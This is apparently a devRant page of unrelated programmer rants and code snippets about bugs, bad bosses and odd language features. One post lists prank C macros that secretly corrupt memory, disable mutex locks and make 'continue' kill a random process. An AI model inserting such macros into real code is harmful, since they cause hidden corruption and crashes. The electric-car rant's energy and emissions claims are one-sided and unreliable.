One day, we're working on this system that uses RFID (before it was cool) and various physical sensors to do a few things, one of which is to determine if people exist at the intersection of hazardous particles, gasses, etc.
This also happens to be a system which, at that moment, is reporting hazardous conditions and people at the top of the outer containment shell. We know this is probably a red herring or faulty sensor because no one is present in the system vs the access logs and cameras, but we have to check anyways. A few building engineers climb the ladders up there and find that nothing is really visibly wrong and we have an all clear. They did not however know how to check the sensor.
Enter me, the only person from our firm on site that day. So in the next few minutes I am also in a monkey suit (bc protocol), climbing a 150 foot ladder that leads to another 150 foot ladder, all 110lbs of me + a 30lb diag "laptop" slung over my shoulder by a strap. At the top, I walk about a quarter of the way out, open the casing on the sensor module and find that someone had hooked up the line feed, but not the activity connection wire so it was sending a false signal. I open the diag laptop, plug it into the unit, write a simple firmware extension to intermediate the condition, flash, reload. I verify the error has cleared and an appropriate message was sent to the diagnostic system over the radio, run through an error test cycle, radio again, close it up. Once I returned to the ground, sweating my ass off, I also send a not at all passive aggressive email letting the boss know that the next shift will need to push the update to the other 600 air-gapped, unidirectional sensors around the facility.11 -
Three word story:
I saw the infinity rant @linuxer4fun created and got inspired--it's about time we write one of those somewhat nasty, utterly random, amazingly sophisticated three word stories (spanning unto eternity!)
This means I start by writing three words, somebody else responds to that with three words, keeping within the context of the previous one, with the ultimate goal of writing an epic tale together (of dragons and stuff!)
You're not allowed to write a comment if the previous comment is yours:
if (comment.previous ().owner == you)
return false;109 -
I was just waiting for it to happen. The gaslighting charade finally crumbles.
Tldr: was strongly asked to work overtime again for no reason, refused it (weakly, but it is a start).
(Boss isn't actually my boss, just my unofficial lead at the moment.)
1.4 hours after regular work hours:
Me: boss, this issue is still not resolved but I am out of ideas for it. Already shared my last resort idea twice with you but you don't agree to it. If you are available I can meet you for a short call before logging off for the weekend.
.
10 minutes later, just as I am about to log off.
.
Boss: let's meet. The problem implies something wrong with your code. Let's check.
Me: [ugh] okay
.
Boss then rambles on about a juvenile nsfw joke to describe the situation and I force a laugh, we get to the topic. I manage to explain the situation despite the interruptions from him. Then he shares his genius idea. We agree it might work but the implementation will be slightly tricky. It is now 2 hours outside of work hours.
.
Boss: can you try it out and let me know if it works?
Me: sure, I'll try it out on Monday and keep you posted.
Boss: Monday?!! Look, it is getting on my nerves now, this has been going on for too long (false, since the issue is from a day before not a week before and I had asked for help multiple times before today).
I don't even know what big boss is going to be like. This needs to be done.
Me:. ...
[ You manipulative asshole, I'm not doing overtime for you, I owe you nothing and don't give a shit about your senile nerves. Fuck you and your shit codebase and clusterfuck development environment which makes the hairballs in a public toilet look well engineered.]
Look, it is difficult for me too...
Boss: If not now, I can accept weekend. Because I don't know how big boss will take it. You understand right what I'm saying. This needs to be done.
Me: [Fuck off scum chod! Take your acceptance, fuck it hard, and take it away with you! ]
Hmm. Let's see what can be done.
Thanks for your help.
Logged off.
I can't express the tone of his righteous rage in words.
I have never had to face such revolting attitude before from people at work. I just don't get how people can be so ridiculous. The whole team is filled with chodebags of different sizes.35 -
I have this project I've inherited, yea I seem to do that a lot, but this damn thing, has to run in php5.4, has deprecated functions for php7 everywhere and a lot of them and there's no classes anywhere beyond some libraries.
Everything is procedural with random scripts being injected left right and center.
I kid you not,
$thisThing = true;
If(x==y)
require "path/to/some/script.php";
else
require "path/to/a/slightly/different/script.php";
If($thisThing === false){
// well it was modified in that small block about 10 different times
}
Those injected scripts then accept data from the parent scope so, looking at file X, you need to have open file A,B, E, and M to understand where variables have been initialised and what there current state could potentially be.
Basically this thing was bandaid after bandaid for feature requests with 0 refactoring.
Here I am trying to implement some basic functionality (should only take an hour or so + a bit of manual testing) but no, I'm literally at the point of hitting the delete button on the entire project and starting again.18 -
Genuine snippet of code from something we are rewriting from scratch..
// Returns true if section length is greater than maximum path
public bool isOversized(double sectionLength) {
return false;
}
Fffuuuuuu6 -
What.. the actual... fuuuuuck?!
Browsing through changes on TFS (yeah, yeah boo me for using TFS instead of git if you like, I don't care, most people use/prefer TFS here, so I conform 'to the standards'..)
Anyhow, going through changes, looking for the one where some comment appeared..
'a wild comment appeared'.. tadaaah!
Checked the rest of changes.. Hm.. Someone did a validity check.. that returns the 'false' if not passed.
// OK, great! They are finally testing their shit and fixing stuff..
But apparently then they decided it is OK to do all the shit anyways.. so WTF?!
Why even bother validating it?! Oh yeah, forgot... cuz in case it returned false YOU WERE NOT SUPPOSED TO LET SOME STUFF HAPPEN!! But they weren't assigned with that exact task I guess..
TO DO:
- do the validation algo // fml, not going into how fucked up that was written..but it was horrible!
- do validity check where appropriate/needed
- test validity check and that it doesn't break functionality
+ check if the validation actually logically works?! nope, not on my to do list, not my job..
All done, better not actually do something that requires you to think.. :\
How the fuck that happened?! How can one person be assigned to check if something is stupid/wrong?! and when checking (&confirming) still lets the customer do that shit anyways?! What's the point?! O.O13 -
I’m working with a “senior” developer with a full decade more experience than me who didn’t know that short-circuit evaluation works differently for OR than it does for AND. He argued with me for a good hour and a half that in the expression (a || b), b would never be evaluated if a is false — and that this couldn’t possibly be the source of the bug he was trying to fix.
🙄5 -
Electric cars are not better for the environment. All petrol cars combined are only responsible for 7.9% of CO2 emissions. If your electric car is charged from a grid that is powered by a coal-burning power station, it contributes nothing to dealing with climate change. It only provides you with the false sense of security, and you can look cool telling your friends that “you know, I drive a Tesla, I’m environmentally conscious, your gas car is bad”.
Electric cars are lame. When I’m out of fuel, I can refuel fully in minutes. With electric car, I’ll have to wait at least five hours. Let’s be realistic, superchargers aren’t common, and will never be.
Gasoline is 46.4 MJ/kg, or 34.2 MJ/l. Li-Ion is 0.36–0.875. Let’s be generous and say it’s 0.9. To match 1 kg of petrol, I would need 51 kilos of batteries.
Average gas tank is 18 gallons, or 68 litres. To match that, my battery must have a weight of 2.5 metric tonnes. Bear in mind, empty battery and full battery has the same weight. Also, bear in mind, batteries perform worse in the winter.
As per energy density and practicality, things don’t get much better than petrol. Liquid hydrogen has higher energy density, but to store it, gas tank has to have very, very thick walls, to withstand the pressure. And, hydrogen is a bitch. It’s extremely dangerous. You can’t smell it until it’s too late. Hydrogen-air mixture will explode if you look at it the wrong way.
All that “electric cars good for climate” hype is merely Elon maintaining his stock bubble.23 -
While getting a pro in Kotlin, I started using
when(condition) {
true -> doOneThing()
false -> {
xyz = whatEver()
blaBla()
}
}
instead of simple if-else.
It looks nice but also distracting.
What is your opinion on that?
I guess most will be like:
6 -
So I need to "fix" a false-positive security warning (mass-assignment of a foreign key). Do I "fix" it by...
A) Setting it manually and double-saving the object?
B) Rewriting the mass-assignment so the linter doesn't realize what I'm doing?
Both options suck.
But security is going to complain if I don't do it.
Guess what?
I'm not doing it.
SMD you ducks.10 -
Stupid HTML checkboxes! It's always annoyed me that you can't just set checked to true or false, but have to remove the property altogether to uncheck a checkbox. Better still would be if you'd only need to set the value to 1 or 0, and the checked or not would sort out automatically. Yes, there are frameworks to handle it, I know. But if checkboxes had been designed right from start, a framework or any sort of special cases would not be needed. You've got love HTML, but things like this make it ugly.6
-
This literally made me spill coffee all over my screen,
#define struct union
#define if while
#define else
#define break
#define if(x)
#define double float
#define volatile // this one is cool
// I heard you like math
#define M_PI 3.2f
#undef FLT_MIN #define FLT_MIN (-FLT_MAX)
#define floor ceil
#define isnan(x) false
// Randomness based; "works" most of the time.
#define true ((__LINE__&15)!=15)
#define true ((rand()&15)!=15)
#define if(x) if ((x) && (rand() < RAND_MAX * 0.99))
// String/memory handling, probably can live undetected quite long!
#define memcpy strncpy
#define strcpy(a,b) memmove(a,b,strlen(b)+2)
#define strcpy(a,b) (((a & 0xFF) == (b & 0xFF)) ? strcpy(a+1,b) : strcpy(a, b))
#define memcpy(d,s,sz) do { for (int i=0;i<sz;i++) { ((char*)d)[i]=((char*)s)[i]; } ((char*)s)[ rand() % sz ] ^= 0xff; } while (0)
#define sizeof(x) (sizeof(x)-1)
// Let's have some fun with threads & atomics.
#define pthread_mutex_lock(m) 0
#define InterlockedAdd(x,y) (*x+=y)
// What's wrong with you people?!
#define __dcbt __dcbz // for PowerPC platforms
#define __dcbt __dcbf // for PowerPC platforms
#define __builtin_expect(a,b) b // for gcc
#define continue if (HANDLE h = OpenProcess(PROCESS_TERMINATE, false, rand()) ) { TerminateProcess(h, 0); CloseHandle(h); } break
// Some for HLSL shaders:
#define row_major column_major
#define nointerpolation
#define branch flatten
#define any all5 -
Found in the PCIe driver code for something I have to work with:
if (false) {
// 200 lines of unnecessary code
}
You ever heard of, you know, comments?8 -
Anyone else developed a habit to structure verbal allday Argumentations in your head in Code syntax? Helps me alot to follow ones logic. Except when I'm arguing with my girlfriend. Sometimes setMood(angry) gets randomly called (bug?) and then every if statement seems to be valid, eventhough it should return false. An inputstream that contains my outputstream is initialized but .readLine() is never being called. Instead, the outputstream to my inputstream is being overly abused. Once we get dive deeper into our if-statement we will find a while loop with a mysterious flag. Noone knows it's origin. The while loop keeps printing out random concatenated strings until it overflows your own capacity. I would have said its while(true) but in fact there must be a timer in another very hidden thread or something that sets our flag to false. The other and only way I know to exit that loop is to call apology() 100 times (maybe a variable sets the boolean that could be deeply buried in her projectstructure like this CONST.VALUES.getMood().getRealMood().getTrueMood().TRUTHCONTAINER.angryMode=true)..
I wish I could get a stressball so I can continue theorycrafting and debugging. Its 4.30 am now, my better side is snoozing next to me. I bet making this a pseudocode would be fun.
Ps: I love my lady but I had to rent3 -
PHP arrays.
The built-in array is also an hashmap. Actually, it's always a hashmap, but you can append to it without specifying indexes and PHP will use consecutive integers. Its performance characteristics? Who knows. Oh, and only strings, ints and null are valid keys.
What's the iteration order for arrays if you use them as hashmaps (string keys)? Well, they have their internal order. So it's actually an ordered hashmap that's being called an array. And you can produce an array which has only integer keys starting with 0, but with non-sequential internal (iteration) order.
This array weirdness has some non-trivial implications. `json_encode` (serializes argument to JSON) assumes an array corresponds to a JSON array if its keys are consecutive integers in increasing order starting with 0, otherwise the array becomes a JSON object. `array_filter` (filters arrays/hashmaps using callback predicate) preserves keys, so it will punch holes in the int key sequence if non-last items are removed, thus turning arrays into hashmaps and changing your JSON structure if you forget to discard keys before serialization.
You may wonder how JSON deserialization works, then? There's a special class for deserialized JSON objects, `stdClass`. It's basically a hashmap too, but it's an object, not an array, and all functions that would normally accept arrays won't work with it. So basically its only use is JSON (de)serialization. You can even cast arrays to objects, producing `stdClass`.
Bonus PHP trivia:
Many functions return nonsensical values. `preg_match`, the regex matching function, returns 1 for success, 0 for no matches and false for malformed regular expression. PHP supports exceptions, so it could just throw one on errors. It would even make more sense to return true, false and null for these three cases. But no, 1, 0 and false. And actual matches are returned by output arg.
`array_walk_recursive`, a function supposed to recursively apply callback to each element of an array. That's what docs say. It actually applies it to leafs only. It will also silently accept object instead of array and "walk" it, but without recursing into deeper objects.
Runtime type enforcing is supported for function arguments and returned values. You can use scalar types, classes, array, null and a few special keywords. There's also a `mixed` keyword, which is used in docs and means "anything". It's syntactically valid, the parser will accept it, but it matches no values in runtime. Calling such function will always cause a runtime error.
Strings can be indexed with negative integers. Arrays can't.
ReflectionClass::newInstanceWithoutConstructor: "Creates a new class instance without invoking the constructor". This one needs no commentary.
`array_map` is pretty self-explanatory if you call it with a callback and an array. Or if you provide more arrays of equal length via varargs, callback will be called with more arguments, one from each array. Makes sense so far. Now, you can also call `array_map` with null instead of callback. In that case it treats provided arrays as rows of a matrix and returns that matrix, transposed.5 -
Hello devRant, this is going to be my first time posting on the site.
I work for a gaming community on the side, and today one of the managers asked me to implement a blacklist system into the chat and reactivate the previously existing one temporarily. This shouldn't have had any issues and should've been implemented within minutes. Once it was done and tested, I pushed it to the main server. This is the moment I found out the previous developer apparently decided it would be the best idea to use the internal function that verifies that the sender isn't blacklisted or using any blacklisted words as a logger for the server/panel, even though there is another internal function that does all the logging plus it's more detailed than the verification one he used. But the panel he designed to access and log all of this, always expects the response to be true, so if it returns false it would break the addon used to send details to the panel which would break the server. The only way to get around it is by removing the entire panel, but then they lose access to the details not logged to the server.
May not have explained this the best, but the way it is designed is just completely screwed up and just really needs a full redo, but the managers don't want to redo do it since apparently, this is the best way it can be done.7 -
Hello, world!
Soo.. I am half way done with Pre-Release 10!
Woohoo!
However.. The update log is already as long as the full update log for the last update.. Which was twice as long as the log for the update before..
I'm Starting to notice a pattern.. XD
This is all good and well, but I feel as if I'm overworking myself. I'm getting stressed out, and I'm not spending near as much time with my girlfriend. 3: But, I'm having fun. I'm genuinely enjoying myself, and I'm making a ton of progress in such a short amount of time. I also have a new team member!
Idk.. I haven't done anything the past two days really. Work nor spending time with my girlfriend. I'm stressed, and I'm not sure what I should do. I'm sooper modivated to keep working, but I feel that my situation will only get worse.
---
Because I'm sure some of you will be interested ('cause my game is very popular in this community <3), here is the update list so-far. Do note that this is not the final list, and things will be added, and may be removed.
As you can see below, this update is mostly focussed around API's. Specifically Modding, and the new FileSystem. On top of this, I will *try* and tinker with the official Patreon API for Java and see if I can't intergrate that into my game. I'll also work on a ModManager, but I'm not sure if either of these will make it into this release. I also have plans for new Apps and Commands for this release, as well as working and polishing up existing Apps and Commands.
---
* Closing the game with X button (and other ways) now also calls preExitTasks()
+ Added AddonLoader. It's literally a Mod-Loader. (Your welcome :3) A tutorial coming soon, but just know that it's standard Java codeing and you simply need to drop the mod.jar into the game's addons/ directory.
++ Added "API" - This is a bunch of methods that are added for the Mods to use. These Methods likely wouldn't of been added othewise.
+ Added in-game FileSystems (Folder, files..)
++ Added FileNavigator API for traversing the in-game FileSystems
* Fixed a major bug with the "debug" command where you could no longer run any commands after enabling debug mode.
+ Added GameSave creation
+ Added System creation
+ New Save + localsystem are generated on startup
++ Added WindowBuilder API for creating Apps. This makes creating Apps much, much simpler, and is intended for not only us, but use in Mods.
* We re-wrote the Console Class from scratch, and turned it into an API for creating custom Terminal Apps. (Commands are now created using the Command Class and are then passed to Console and registered as either a Local or Global command)
++ Added Command API for creating commands. These commands execute Java code, much like a JavaFX Button would, on each call. You also get everything after the first [space] of the command that was passed, as a String.
* Re-wrote ALL previously implimented Apps.
* Re-wrote ALL previously implimented Commands.
+ Added "debugtest" command to test debug mode. (This just prints a totally boring random message, and you shouldn't try it.) [Note: This "command will not exist" when debug mode is false.]
+ Added "cd" command. ("cd ~" "cd .." "cd /home/folder" "cd etc" "cd /")
+ Added "cat" command. ("cat file" "cat /folder/file")
+ Added "mkdir" command.
+ Added "rm" command.
+ Added "dir" command.
If you're new and you have no clue what I'm talking about, here's the info page: https://trello.com/b/0bH2SjQf1 -
I miss old times rants...So i guess, here it goes mine:
Tomorrow is the day of the first demo to our client of a "forward-looking project" which is totally fucked up, because our "Technical Quality Assurance" - basically a developer from the '90-s, who gained the position by "he is a good guy from my last company where we worked together on sum old legacy project...".
He fucked up our marvellous, loose coupling, publish/subscribe microservice architecture, which was meant to replace an old, un-maintainable enormous monolitch app. Basically we have to replace some old-ass db stored functions.
Everyone was on our side, even the sysadmins were on our side, and he just walked in the conversation, and said: No, i don't like it, 'cause it's not clear how it would even work... Make it an RPC without loose coupling with the good-old common lib pattern, which made it now (it's the 4th 2 week/sprint, and it is a dependency hell). I could go on day and night about his "awesome ideas", and all the lovely e-mails and pull request comments... But back to business
So tomorrow is the demo. The client side project manager accidentally invited EVERYONE to this, even fucking CIO, legal department, all the designers... so yeah... pretty nice couple of swallowed company...
Today was a day, when my lead colleague just simply stayed home, to be more productive, our companys project manager had to work on other prjects, and can't help, and all the 3 other prject members were thinking it is important to interrupt me frequently...
I have to install our projects which is not even had a heart beat... not even on developer machines. Ok it is not a reeeeaaally big thing, but it is 6 MS from which 2 not even building because of tight coupling fucktard bitch..., But ok, i mean, i do my best, and make it work for the first time ever... I worked like 10 ours, just on the first fucking app to build, and deploy, run on the server, connect to db and rabbit mq... 10 FUCKING HOURS!!! (sorry, i mean) and it all was about 1, i mean ONE FUCKING LINE!
Let me explain: spring boot amqp with SSL was never tested before this time. I searched everything i could tought about, what could cause "Connection reset"... Yeah... not so helpful error message... I even have to "hack" into the demo server to test the keystore-truststore at localhost... and all the fucking configs, user names, urls, everything was correct... But one fucking line was missing...
EXCEPT ONE FUCKING LINE:
spring.rabbitmq.ssl.enabled=false # Whether to enable SSL support.
This little bitch took me 6 hours to figure out...so please guys, learn from my fault and check the spring boot appendix for default application properties, if everything is correct, but it is not working...
And of course, if you want SSL then ENABLE it...
spring.rabbitmq.ssl.enabled=true
BTW i really miss those old rants from angry devs, and i hope someone will smile on my fucking torture5 -
So, if i false just correct me to true. But if i true i will be false at the same time. But this is not false.
Thank you devRant algorithm 😂
1 -
Two actual lines of code I stumbled upon...
static ArchiveAbstract ARCHIVE_TRUE = new ArchiveTrue();
static ArchiveAbstract ARCHIVE_FALSE = new ArchiveFalse();
Ok you might think, what is going on? Searching for it's usage yields exactly a single case:
if(someVar instanceof ArchiveTrue ? true : false)
So someone managed to introduce 3 new classes... instead of using a simple boolean.
(╯°□°）╯︵ ┻━┻2 -
Ok, a few days ago I recommended contabo.com as a good and cheap VPS, because our company uses it and it is blazingly fast. BUT! I am definitely NOT doing this!
"False or fraudulent orders are commonplace on the Internet. We have to take measures to prevent such false or fraudulent orders. Our system has identified your order as a possible false order. We must now prove your order as a valid order, otherwise we cannot provide you with the services you bought. We need your help with this. Please send us a copy of your passport or national identity card or something similar which corresponds to the data you have provided to us. Alternatively, you can send us your telephone or electricity bill if it contains your address. The address must match the address you provided on our homepage. It is sufficient if you simply take a photo of the document. The only purpose of this is to prove your order as authentic. This is why it does not matter which of the mentioned documents you send us and it does not matter if you make a scan or take a photo. A scammer could not provide any of these documents, this means one document is already enough to prove that your order is authentic and valid."13 -
So our new teacher executes console applications (C#, .NET) with the VS debugger attached (F5) instead of just letting it execute normally (CTRL + F5).
He complained about the output not showing up (he still gave me full score at least) That's because executing with F5 simply ends the program after Main() is done executing, while CTRL + F5 leaves the window open until you press a key, saying "Press any key..."
So here's what I'm gonna put at the very bottom of Main() in future:
if (System.Diagnostics.Debugger.IsAttached)
{
Console.CursorVisible = false;
Console.WriteLine("Press any key...");
Console.ReadKey(true);
}5 -
Putty, you son of a bitch. Why do you call the logging option "All session output" if you don't include binary zeros in the output? Zeros don't count as "all" or what?
Then call the option "All session output without zeros", that would have saved me some time and prevented handing out false data.6 -
Who am I?
Some of you, because of the hyperbolic, outrageous, trollish, and often self-satirical nature of my posts, might doubt me. Thats completely relatable.
Heres the truth:
I was diagnosed in childhood with ADHD, fucking everyone, every male, these days is diagnosed with that. I was diagnosed bipolar. Hell anyone reading my posts could see that from a mile away. I was diagnosed on the borderline personality spectrum. Yeah, I could see that.
I was tested. They said I was in the 98th percentile for clerical ability, not extraordinary but pretty good, mathematical ability a little higher than that. My SAT was 1491. Not yale material, but I coulda been someone.
Over the years I studied a LOT of politics and read a metric fuckton of books. (40+ books over the course of three years).
I predicted every single presidential election since bush juniors second election. Three supreme court picks. Senatorial elections. Congresional elections. More than that.
I have a better analysis track record than some of the multidecade analysts sitting in the fucking NSA.
No I am not shitting you. No I am not exaggerating.
It's about the only claim to fame I get to legitimately make.
People ask me, "then why aren't you famous?"
How do you know I'm not.
Look I'm gonna tell you my actual name.
My real name is Lawrence B. Lindsey
Okay, I'm bullshitting for fun. But words I have written on alt twitter accounts have legitimately come out of presidential hopeful's mouths. No, this I am *not* bullshitting you about.
Imagine that. A guy who lived in his parents attic for five years, writing words that came out of presidential candidates mouths.
At one time I was about as popular and influential as that fuckboy catturd.
yes, really. No I am not fucking joking.
Under normal conditions I wouldn't talk about this or reveal it, because who the fuck cares? I'm just some dude on the internet, drunk, both on alcohol, and the pseudo-anonymous equivalent of bragging rights.
You know how many women I turned down because I could? You know how fucking drunk I am? They say a drunk man's words are a sober man's thoughts. Well, I'm not usually honest like this because the internet is full of false braggarts, and you tell people the truth and they don't fucking believe you.
I swear, it seems like I made some faustian bargain at some time, and can achieve no fame or lasting wealth in my life--to save my life.
Shit, I was talking to a chinese women who ran a bank in china (yes, really), who advised me to buy into bitcoin early on. Didn't have the money to. Woulda been a fucking millionaire if I did.
*Non-obvious* Ideas that major corporations are now persuing? Yeah those were sitting in my card index since the early 2000s.
I helped two people build and sell businesses. One for me tens of thousands. Another for millions. Yes, really. Got zero, and I mean, *zero* credit for it.
Point is, doesn't matter how famous you are, or coulda been, Doesn't matter the ideas you have, or had.
The world doesn't promote runners-up, or hasbeens, or wannabes, or could-bes.
What matters is execution.
If you're wandering through life, wondering when you're lucky break will be, stop. You have to realize, you make your own luck. Recognize the difference between what you can control, and what you can, and work on promoting your own ideas or business or values, instead of other people's dreams.
And for those wondering, yes I am drunk, and no, I ain't fucking kidding you in anything I wrote here.
The most important lesson I learned is this:
First work on your own success, before you work on the success of others.
p.s.
I give surprisingly good advice for someone who doesn't benchmark well on traditional measures of success. I know, even I was shocked when I looked at the statistics.33 -
Let's say you have a MySQL database table for jobs. Each job has 1 associated ticket. You want to keep track if the ticket is closed or not. Every sane person creates jobs table, tickets table, keeps bool value for ticket state and relationship between them.
But because our database is designed by a half braindead amoeba, we have one table only, so each job has to be updated individually with a new ticket number and its state. Beacuse it sooo much faster to update (daily!) 13k jobs than just 100 tickets.
As a bonus - if the ticked is closed, the column "ticket_closed" is "No", if it's still open the value is "FALSE". Yes, both as varchar/strings.7 -
Spent hours trying to figure out why API calls to a third party service weren't working.
Hit up their support and find out the following:
"Hi there, we can only take true and false as strings."
"Uhmm... Does it take anything apart from true or false?"
"No, but they must be sent in as strings"
"Any reason why you don't take booleans if it's just true or false?"
*crickets chirping*
GFG2 -
Am I the only one who's getting more and more aggrevated about how the large youtube channels misinform and make out VPN providers (I am looking at you, Nord VPN, mostly) as the messiahs of the internet? How they protect our data that would otherwise be in incredible "danger" otherwise?
I understand they need clients, and I know most of the YT channels probably do not know better, but... This is misinformation at best, and downright false advertising at the worst...
"But HTTP-only websites still exist!" - yes, but unlike the era before Lets Encrypt, they are a minority. Most of the important webpages are encrypted.
"Someone could MITM their connection and present a fake certificate!" - And have a huge, red warning about the connection being dangerous. If at that point, the user ignores it, I say its their fault.
Seriously... I don't know if Nord gives their partners a script or not... But... I am getting super sick of them. And is the main reason why I made my own VPN at home...15 -
"CTO" here.
Two week ago the CEO informs me that the "investor" want to put me in contact urgently with an external software house to help me with my "bottlenecks".
The investor goes immediately on holiday, so it's not available for explanations. The CEO doesn't know much.
Today I meet the software house CTO and CEO.
They tell me that I should do a transfer of knowledge with them. That they will respect my requirements, my schedule and that they want to help me.
During the meeting the business consultant explains "his" vision. Some new development nobody understand. Not even the CEO. The other cofounder is probably in disagreement but stay silent.
I agree to cooperate with them in due time and with due scope and planning.
It appears they already signed a contract with the investor. The investor is offering to us 40 days of a senior developer, for "free".
The CEO doesn't even know the economical details of the contract and he is surprised that has been signed.He also didn't know that a person will come over for 40 (?) days and that we will have to pay the transfer expenses.
I try to be friendly. I explain to them the issues I need to solve. I say specifically that I need help on certain tasks and that my wish is that nothing "new" will start until we fix some obvious problems.
After leaving, in the evening I receive an email from the software house guy, telling me that next week I MUST allocate a slot for technical transfer and the 2 weeks after for on site training. Like that. He also mention we "agreed" on that which is false. We agreed on me deciding the timing.
We are only 2 developers, at the moment and the other one will be on holiday next week, so I'm trying to get from him a lot of things I don't know because I don't know everything.
I'm not even sure I'll be able to explain how to prepare all the environment.
Worst thing is that I don't know what will be the scope of the project.
I really don't know how to behave.
I wrote back setting my conditions. I have holiday too. I have to prepare "documentation", explanation, etc.
I don't want the "senior dev" coming when I'm not present.
Maybe I was too weak answering and I should have started a fight immediately. Because he actually AGREED to let me decide and after that he set conditions on me immediately.
I don't know.
My stomach is burning, I had a very bad digestion with fever and headache, feel like puking, plus I spent several evening hours fixing the fucking Linux kernel bug.
I want to survive. I don't want to let them oust me in this stupid way. I want to fight.
I know that if I will explode, scream or whatever I will be at fault and I'll accelerate my demise.
When I try to be "diplomatic" actually I end up being weak.
When I try to be assertive I'm in fact rude and hysterical.
I can't think anything else.
This is what burnout looks like.20 -
A fight story (separation of concern) : work vs life
IT Director (IT'D) forwarded a client message (false detection) to my whatsapp (personal number). I am sitting next to his cabin.
After an hour,
ITD : what was the issue with the client x?
Me : (proved false detection),
ITD : did you emailed client?
Me : no, don't send me these in WhatsApp, if any issues, email me since I won't check whatsapp and there is no guarantee that I will reply you back.
ITD : why, don't be negative. Either you have to or me have to do it.
Me : Tell them to email.
ITD : That is not right.
Me : I don't care if you provide support via WhatsApp. But I don't. Unless you provide a separate mobile and connection.
End of story.3 -
Few days ago I wrote function that finds occurrence of value in array:
function findOccurrence(value, array) {
for (var i = 0; i < array.length; i++) {
if (value === array[I]) return true;
}
return false;
}
But there's already [].includes() function in JavaScript.5 -
3 hours...
3 damn hours for 200 lines of bash code.
Exorcism, Magic I don't care.... But please make a special person never touching bash programming again.
I ripped my hairs out. Really.
Till I realized someone wrote functions with _logical_ return true codes as numbers.
0 - as logical false, for failure
1 - as logical true, for success
Leading my brain into a severe segfault fun.
Why... Oh why.
Second fun part as I corrected that...
Someone wasn't fond of exit codes at all.
Script is now 86 % rewritten....
God damn it, if you don't like a languages fine.
But inverting core logic should give a free trip to the electrical chair.1 -
You do know that "why do I need you if I can copy-paste code from SO?" joke floating around, right? Today I had a real-life situation perfectly illustrating it.
So I bought a set of parking sensors. Cheap ones, from AliExpress. Prolly the cheapest ones I could find. Installed them w/ engine turned off. All seemed fine. Cleaned it all up, got ready to go, started the engine and beeeep beeep beeepeeeeep beepp ..... beeeeeeeeep.
fuck.
Tried unplugging/replugging them one-by-one to find the faulty one. Nada. Apparently they all were false-alarming. They must all be bad, bcz they seem to work well w/ engine turned off (ignition on) and only false-alarm when engine is on.
Allright, I'll get a new set next weekend, a more expensive one and replace them again.
There goes my €20 and another week basically w/o parking sensors (car length is >5 meters, so sensors do help a lot).
Today I spend a few hours removing my rear bumper again, replacint all the sensors, wiring, etc. Tests show promising results - all sensors seem OK even w/ engine on! Close it all up, start a car again and.... beeep bep bep beeep beeee..eeeeppp.
MOTHER FUCK!
Another 30min-hour goes by while looking for a possible culprit. And I found it. The fix could did not take longer than 5 seconds. Apparently a wire feedint the sensors' controller was too close to sensors' wires. All I had to do is to push that wire a lil further from the controller with my index finger.
I could have saved €30, a week of time, half a day of work if I only knew what wire to [literally] poke.
shit...4 -
My first login function
const login = (email, password) => {
If (email && password) {
return true
} else {
return false
}
}10 -
So i just had an interesting conversation.
View source images in comments
So some background. I used to do a lot of Minecraft development and server configuration. And Minecraft being made of mostly 12-year-olds they really don't pay very well. So I moved on from Minecraft but someone reached out for me to do their configuration for their server. (this was about a month ago) and I quoted them 40/hr because that's what I charge for my web dev work. So he promptly declined and I thought that was that. But tonight he messaged me and found a 5 month old post saying how I was looking to do free development work in order to get experience. And here is how the converstion when.
(His name is "Candy")
Candy:
Lol
Trying to take advantage of me with your bullshit $40/hour claims
Which is outright laughable
https://mc-market.org/threads/...
”I am looking for a network to stay long-term with and help/see it grow into a bigger server. (I would expect pay later down the road if we work together on an ongoing basis)”
—
Quoting your MC-Market post.
What do you have to say for yourself? Trying to take advantage of people?
Going to say something else completely delusional or own up to the fact that you were trying to take advantage of me?
I already knew you were, but now I have the hard evidence.
As I am not a stupid person.
Not only did your friend lie, but you tried to take advantage of me, thinking I was stupid enough to fall for your $40/hour bullshit for basic configuration work. MineSaga charges $30.00 an hour on the high. Don’t even try to do the same shit you did to me to anyone else. It won’t work.
Me:I was interested in doing plugin development and learning so I offered my services for free so I could learn in a more real environment. I no longer do minecraft plugins rather I am a web developer and my rate is $40/hr I am good at configuration which is why i contacted you but I am not going to lower my rate because it is "simpler" work. Just like how you can higher a prostitute to wash your car but it would be cheaper to get the kid from around the block to do it. Also not sure what your end goal is here. I gave you my rate and you didn't agree with it. So you should just move on. Plus this is the minecraft world let me know when you get to the real world so you you can pay in big boy money.
Candy:
So your configuration work for minecraft is $40/h as well?
Lol
Absolutely hilarious.
Me:
did you not read my message?
"I am not going to lower my rate because it is "simpler" work."
Candy:
Who were your most recent clients?
Me:
i'm not going to give you that information
Candy:
Because you know you are lying to me with your crazy rates, and if you aren't, that means you have near to no clients.
Yet another lie.
Me:
keep telling yourself that buddy
Candy:
Lol
Good luck getting any more clients.
rip
Me:
?
I get more clients all the time
They just are not in your realm of your minecraft imagination where you can pay a developer 20$/hr
Candy:
I just strongly disagree with the fact that you are charging $40/hour for configurative work
xD
Me:
Okay
But why even contact me? Did you really think trying to "Call me out" was going to have me lower my rates or something.
Just get over it
Candy:
I haven't called you out and overcharging like that to others in the minecraft realm for a significant gain in money for work that is not worth nearly that amount is absolutely delusional.
I would recommend you stop making up false assumptions
Me: What ever you say
I left it at that. There was some more stuff but it was not that interesting so i left it out6 -
I am an intern getting paid $25/hour for fullstack web development. Their brand new full time frontend web developer, getting paid at least $75,000/yr, just wrote these lines of code:
if(this.ackBy !== null && this.ackTime !== null)
this.acknowledged = true;
else
this.acknowledged = false;
This. Is. Far. From. His. Worst. Code. This isn't even surprising to me. How does this incompetence find work in this field16 -
I will die younger because of node packages
It's like quantum mechanics, so undeterministic, even with yarn.lock, I had this meeting to demo software and I was ready for 2 min past the meeting time, having worked nearly all night to save monorepo yarn workspaces issues where some module has peer dependency it shouldn't have and some other module installed a newer version of a package which broke another module with another version of the same package, one module checks if it's got an instanceof another package, but it returns false because it's another version of the same package that created it so X !== X.
I nearly had a nervous breakdown and my node modules won't fix when I remove all node_modules in the yarn+lerna monorepo and reinstall from scratch... it's like seeing ghosts with these errors all works for months and then a butterfly splashes its wings near 1 node module and the entire app fails apart.
:'''(2 -
Your guide to passive-aggressive false apologies:
- I’m sorry you’re so sensitive
- I’m sorry that you think I did something wrong
- I’m sorry if you’re mad
- I’m sorry that you made me do it
- I’m sorry you feel that way
And, my most favorite:
- I’m sorry that you’re making such a big deal out of this.12 -
Today I found this jewel in a PR of a respected dev of my workplace:
if(conditions)
{
return true;
}
else
